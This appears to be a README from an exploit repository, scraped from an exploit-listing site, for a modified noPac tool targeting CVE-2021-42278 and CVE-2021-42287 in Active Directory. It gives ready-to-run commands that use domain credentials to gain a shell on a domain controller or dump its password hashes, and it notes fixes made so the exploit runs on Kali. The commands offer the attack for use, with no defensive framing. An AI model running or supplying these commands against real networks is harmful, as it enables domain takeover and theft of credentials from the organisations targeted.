## https://sploitus.com/exploit?id=5173AEB4-05F1-5CE2-B63D-C3EBC2D1F1E0
# noPac
Exploiting CVE-2021-42278 and CVE-2021-42287
The original noPac project had some implementation issues, which led to failures locally. Therefore, modifications were made by referring to the sam-the-admin project. # Usage
```
pip3 install -r requirements.txt
# GetShell
python3 exp.py "domain/Username:Passw0rd" -dc-ip 192.168.0.254 -shell
# DumpHash
python3 exp.py "domain/Username:Passw0rd" -dc-ip 192.168.0.254 -dump
```
# Modifications
- Issues related to the execution paths of smbexec in Kali were resolved.
- The feature of simulating the hostname for online operations was also modified.
# References
https://github.com/cube0x0/noPac
https://github.com/WazeHell/sam-the-admin